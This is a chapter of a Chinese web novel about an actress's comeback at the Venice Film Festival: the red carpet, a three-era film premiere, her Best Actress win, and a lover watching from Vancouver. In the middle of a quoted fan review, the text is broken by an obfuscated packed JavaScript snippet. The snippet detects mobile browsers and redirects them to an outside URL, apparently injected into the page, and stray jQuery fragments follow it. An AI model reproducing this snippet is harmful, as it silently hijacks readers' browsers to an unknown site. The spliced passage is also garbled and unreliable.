欧洲三大电影节中，戛纳电影节的商业吸引力最强，是制片厂和顶级导演的首选。柏林电影节偏好尖锐议题，且拥有全球最大电影交易市场，是小众佳作走向世界的重要跳板。


    相比之下，历史最悠久的威尼斯电影节这几年却因定位模糊，资源被戛纳和柏林分流，影响力日渐式微。


    正因如此，艺术总监贝托尼在内部会议室强调，急需一部电影重新定义威尼斯气质。既有艺术电影的深度，又不乏观赏性的电影，还要有恰到好处的关注度。


    他亲自飞到京州。在陈楚的工作室里，贝托尼被墙上一张旧照吸引。照片里，陈楚双手捧着金狮奖杯开怀大笑，身后是蔚蓝的亚得里亚海。那是二十几年前，陈楚在威尼斯赢得了人生中第一个国际A类大奖。


    “我记得那一届评委会争论到深夜，最后当时的评审主席德尼力排众议。他说你用东方的留白重构了电影时空。”这个意大利人的中文略显生硬，却说得格外认真：“陈，威尼斯需要你，就像文艺复兴时期的威尼斯需要提香。”


    陈楚被这个比喻打动了。


    两个月前，威尼斯电影节公布《浮生三事》入围主竞赛单元，打破了外界说他“只认戛纳”的传言。一直保密的片方在微博开通了官微，PO出的第一张海报上，明岚舒身着素色旗袍回眸凝望。


    在网上沉寂近一年半的人，重回公众视野，并迅速引爆热搜：


    【卧槽？？？她不是退圈了吗？？？】


    【去年在心理诊所见过一次，状态奇差，还以为要隐退了】


    【笑死，这种劣迹艺人还有戏演？陈楚现在这么不挑？】


    【法院早就还她清白了，造谣的营销号都道歉赔钱了好吗】


    【终于等到你！！！我们明明值得最好的！！！】


    【她演技确实能打，但经历那场风波后还能撑住大银幕吗？陈楚这次赌很大啊】


    话题#明岚舒威尼斯#阅读量破亿。有人翻出旧照嘲讽她“资源咖回春”。有人搬出《美人记》哭戏动图力证演技。更多的路人则好奇，这个被全网审判过的女演员，将会以怎样的姿态重新站在镜头前？


    答案在《浮生三事》全球首映当晚揭晓。


    早在官方排片表公布时，媒体就敏锐地注意到，《浮生三事》被安排在殿堂级影院SalaGrande首映，19点的黄金时间。这通常是电影节看重的作品的待遇。


    首映当天的红毯可谓星光熠熠，好莱坞重量级导演、意大利国宝级影星都来捧场。意大利国家电视台（RAI）不仅全程直播，还在主红毯外直接设立了live玻璃屋当临时演播厅。让粉丝和观众隔着玻璃就能看到主持人和明星们的采访，现场氛围直接被拉满。


    “我是从马德里过来看明明的，”围挡外的年轻姑娘面对镜头晃动着手里的海报，忽然有些哽咽：“我等了五百多天，终于......”


    当最后一位明星嘉宾走完红毯，现场忽然陷入一种蓄势待发的寂静。


    戴着耳机的现场导播一把拽过摄影师：“听好了，等会儿明岚舒会从第三辆礼宾车下来。你一定要对准她的车门，明白吗？第一个瞬间，她踏出车门的第一个表情，第一个动作，我都要看到特写。”


    与此同时，媒体区另一端的几位中文记者正低声交谈：“听说这次国内来了三十多家媒体？”


    “是啊，主流媒体都派了记者，比五月戛纳还多。”


    “我刚听RAI的工作人员说，他们导播特别交代要重点拍明岚舒下车的镜头，说是要记录历史性时刻。”


    正说着话，隐隐听到了引擎的轰鸣声，大伙儿不约而同地交换眼神：“来了。”


    三辆黑色礼宾车缓缓驶入红毯区，稳稳停住。所有镜头都不约而同地对准了那扇车门。


    一只踩着银色高跟鞋的脚轻轻踏出的瞬间，整个现场被疯狂闪烁的闪光灯照得亮如白昼。


    在数千只镜头前，在乌泱泱的人群注视下，明岚舒从车礼宾车后座俯身而出。


    “这裙子......”站在最前排的记者忽然倒吸一口气，“是在隐喻她的经历吗？”


    纯洁的白缎面上烧出焦褐色的破洞，裙摆被撕扯成不规则的的锯齿状。银色金属光泽的拖尾渐变为烧焦后的炭黑，仿佛女神穿越炼狱时被业火侵蚀。


    这已远非传统意义上的礼服，而是一件自灰烬中涅槃的战袍，用烈火灼舔舐的痕迹昭示毁灭后的重生。


    这件礼服的设计师是秦霜。在英国圣马丁读研的这一年，秦霜研究不同面料被火焰灼烧的纹理变化，终于完成了毕业秀的压轴作品。


    当她把这条裙子送给明岚舒时，柏原还是觉得太冒险了，担心被媒体过度解读。


    但明岚舒站在穿衣镜前，目光平静地扫过裙身上的破洞：“没关系，他们不就是干这个的吗？”


    柏原欲言又止。相比一年多以前的明岚舒，她眼神里没有了迷茫，取而代之的是一种从风暴中走出来的从容。


    “你知道到时候会有多少镜头对着你和这件礼服吧？”他最后确认道。


    明岚舒理了理裙身上的褶皱，唇角扬起弧度：“我会让他们好好拍清楚。”


    让他们记住她从灰烬里站起来的样子。


    这件礼服果然成全场焦点。粉丝百万的时尚博主迅速在社交媒体发文：【这件礼服不是装饰品，而是一件流动的装置艺术。被舆论暴力灼伤过的女演员，在红毯上完成了最优雅的复仇】


    国内此时正是半夜两点，然而实时弹幕量激增导致直播平台短暂卡顿，随后呈现井喷式爆发：


    【这设计绝了......那些烧痕是故意的吧】


    【？？？这是直接把网暴经历穿身上了？】


    【笑死，黑子脸疼不疼？】


    【设计师出来挨夸！！！】


    【啊啊啊！！！我的启明星又同框了！！！】


    随着镜头拉近，弹幕画风逐渐变化：


    【她眼神好稳......】


    【和一年多在心理诊所遇到时完全两个人】


    【这气场我跪了】


    【明明在发光啊QAQ】


    最后当镜头跟随她进入大厅时，满屏弹幕统一变成：


    【恭迎女王归来】


    【内娱复仇记开演】


    【这届威尼斯没白看】


    威尼斯时间19点，SalaGrande座无虚席。


    灯光暗了下来，苏州评弹的三弦声悠悠响起。


    巨大的荧幕上打出：民国三十七年，上海。


    煤油灯芯在玻璃罩内跳动，将沈蘅秋独坐的剪影投在绢丝屏风上。


    门帘被掀开，古先生披着夜色入内。沈蘅秋起身相迎，素手为他解下灰呢大衣，又引他到铜盆前，绞了热毛巾递去。


    屏幕上出现字幕卡：听说夫人肺炎，现下可大安了？


    古先生接过热毛巾，雾气蒙上金丝眼镜。他点了点头。


    [字幕卡]折腾月余，总算痊愈


    观众席陆续响起交头接耳的低语。谁都未料到，陈楚竟用默片的形式开启了《浮生三事》的第一个故事。


    圆桌前，沈蘅秋剥开橘子，细心挑去白络。古先生默默注视她一阵，忽然开口。


    [字幕卡]方才楼下见你小妹在哭？


    沈蘅秋手指一顿，叹了口气。


    [字幕卡]绸缎小开愿赎她为妾，妈妈却要多索一千银元


    古先生沉吟片刻，从内袋取出支票本，旋开钢笔便填起数字。


    [字幕卡]不足的我可补上


    橘子在沈蘅秋掌中被捏出汁来。晃动的煤油灯光里，沈蘅秋睫毛投下的阴影也在微微颤动。


    [字幕卡]您昨日才在文人沙龙呼吁废止纳妾、解放人格，怎好......


    古先生笔下未停，签完名后他将支票放在桌上。


    [字幕卡]两情相悦，当尽力成全


    沈蘅秋凝视古先生，眼眸映着烛火。良久，她对他笑了笑，低下头重新剥起了橘子。


    她什么也没说，但眉梢的轻蹙、指尖的颤动，以及烛火中交错变幻的光影，也许都是她的心底事。


    风尘女子等不到归宿，崇尚自由的男人无法让身边人自由。默片的形式让这种无奈更揪心。


    而当邓丽君的歌声伴着绿皮火车隆隆向西，时间骤然跳转至1980年。


    胶片的颗粒感与粗粝的风沙扑面而来，一个男人温润的画外音响起：


    “阿兰，见字如面。我已在厂里安顿。宿舍外有棵沙枣，每日清晨雀鸟啄食果实的笃笃声，很像你敲我窗户的动静.....”


    观众终于意识到，这不是简单的平行叙事。


    1948年的上海，1980年的西北，2020年的京州。三个时代，三个女性，在胶片中复活，在荧幕上灵魂共振。


    当片尾字幕缓缓升起时，掌声如惊雷般在大厅炸响，经久不息。既是对陈楚导演叙事野心的致敬，也是对明岚舒一人分饰三角完美演绎的惊叹。


    还未退场，媒体却都已沸腾。


    《好莱坞报道》的记者在手机上快速编辑影评：“《浮生三事》可能是本届威尼斯最动人的发现。明岚舒证明了自己是同龄段最勇敢的女演员，从古典含蓄到现代癫狂的转变令人震撼。”


    意大利《晚邮报》的专栏作家正激动地比划着，向同事分析“三个时代女性命运交织时的战栗感”。


    而《卫报》记者已经拟好快讯标题：《从舆论炼狱到艺术巅峰：一个女演员的文艺复兴》。


    与此同时，国内的网站上出现了首批影评。


    【陈楚这次玩得真高级，用默片拍民国，用16mm胶片还原80年代，再用手持镜头怼脸拍当代


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15329201|149340||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ，三个时代三种影像风格，却意外的统一。这大概就是大师的任性吧。别人在追求视觉连贯性，他偏要撕裂时空，再用明岚舒的表演缝合成完整画卷。


    明岚舒这次真是开挂了。三个时代三种女性演到让人忘记是同一个演员。不得不说，经历那场风波后，她的表演反而更有厚度了。


    祁宴稳定输出禁欲系演技。三个男性角色看似不同，却有着相似的忧柔。不得不说他和明岚舒真是内娱最神奇的CP，从《美人记》的虐恋到这次三生三世的交错，每次合作都能擦出不一样的火花。


    看完最大的感受是：人生哪有那么多因果，不过都是浮生中的三件小事罢了。陈楚用最电影的方式，讲清了最生活的道理。五星预定今年华语最佳。


    （明岚舒这个表演水准，不拿影后真的说不过去）】


    随着威尼斯电影节接近尾声，《浮生三事》场刊评分3.8，并占据多家国际媒体特刊的封面。这部被公认为近年来最重要的亚洲电影之一的作品，引发业内对威尼斯电影节的重新审视。


    一位已完成欧洲三大电影节大满贯的导演，一位从舆论风暴中归来的演员，一部讲述三个时代女性命运的电影，在急需重振声望的电影节相遇——无论最终是否获奖，这次合作已然成就了一段影坛佳话。


    随着影片热度攀升，明岚舒的名字频繁出现在预测榜单上。贝托尼在官方晚宴上与她长达二十分钟的交谈，被媒体视为某种信号。当丽都岛的每场对话都绕不开这位中国女演员时，答案似乎已呼之欲出。


    颁奖典礼上，明岚舒听到了自己的名字。


    很奇怪，她如此渴望拿奖，前一晚甚至紧张得失眠。可当这一刻终于来临，她的内心却出奇的平静。


    掌声如潮水般涌来，从座位到领奖台不到十米，却像是走过了半生光景。


    她看见十三岁的自己在舞蹈附中的练功房，双腿横叉怎么也压不下去，老师拿着戒尺站在一旁说倒数三名退回原籍。那天晚上，她含着泪在宿舍床上保持横叉姿势入睡，直到双腿麻木失去知觉。


    被锁在大学舞蹈室的夜晚的记忆接踵而至。她拍门喊到嗓子嘶哑，却只听见自己的回声在空荡房间里撞来撞去。后来她不再喊了，就着那点月光继续练舞。镜子里的人影模糊成团，她抹了把脸，手上湿漉漉的不知是汗还是泪。


    记忆里闪过《天净杀》片场的画面。她看见自己躲在走廊角落，眼睁睁看着一个个年轻女孩走进陈楚的办公室试镜。那时她才知道，原来自己随时可能被换掉。


    还有很多艰难时刻如走马灯般闪过：马场上被缰绳勒破掌心的灼痛，拍《美人记》时出不了戏的崩溃，武馆里痛到几乎昏厥的惨叫，片场大火中坠落的桅杆，马桶的污水中自己破抹布一样的倒影......


    奖杯比想象中沉，明岚舒的手微微发抖。温凉的金属触感让她恍然，这多像摘下一颗星星。


    所有的苦难与荣光，破碎与重生，都在这一刻被她稳稳接住。


    “谢谢陈楚导演，让我同时活了三辈子。”她的声音在电影宫的穹顶下回荡，“谢谢您在我最破碎的时候，依然相信我是唯一的选择。”


    泪水将要落下的瞬间，她堪堪忍住：“感谢在黑暗中守护我的人，也感谢所有试图摧毁我的人，你们教会了我如何完整。”


    最后，她举起奖杯微笑：“过往不念，当下不负，未来不惧。”


    翌日，全球媒体铺天盖地报道了明岚舒的获奖时刻。外媒用“表演艺术的巅峰之作”来定义她的三个角色。时尚媒体则聚焦那件象征重生的礼服，称其为年度最具力量的时尚宣言。


    而在国内的社交平台上，#明岚舒威尼斯封后#的话题下，有个评论被赞上了最前排：


    【看啊，她真的从火里走出来了。】


    在接下来的一年里，明岚舒的名字不断出现在各大颁奖典礼的获奖名单上。从艺术电影殿堂到主流电影节，她几乎横扫了整个颁奖季，将十五座最佳女主角奖杯收入囊中。


    ******


    威尼斯与温哥华时差九小时。


    当明岚舒说出“过往不念，当下不负，未来不惧”时，许绍恒的窗外正飘着温哥华清晨的冷雨。


    直播画面有三十秒的延迟。


    这三十秒里，他看见她睫毛在聚光灯下颤动，看见她指尖无意识摩挲奖杯底座的小动作，看见她说完获奖感言后望向镜头那一瞬的欲言又止。


    然后那句话才穿过卫星信号，越过太平洋，在九个小时的时差之后，像一颗子弹精准击中他。


    他让她结束考察期，她说知道了，却没说等，也没说不等。她只是以影后的姿态告诉他：不论他在不在，她都会继续向前走。


    许绍恒若有似无地笑了一息，关掉了电视。


    他的律师在此时拿着一份文件进来。


    “风向变了。”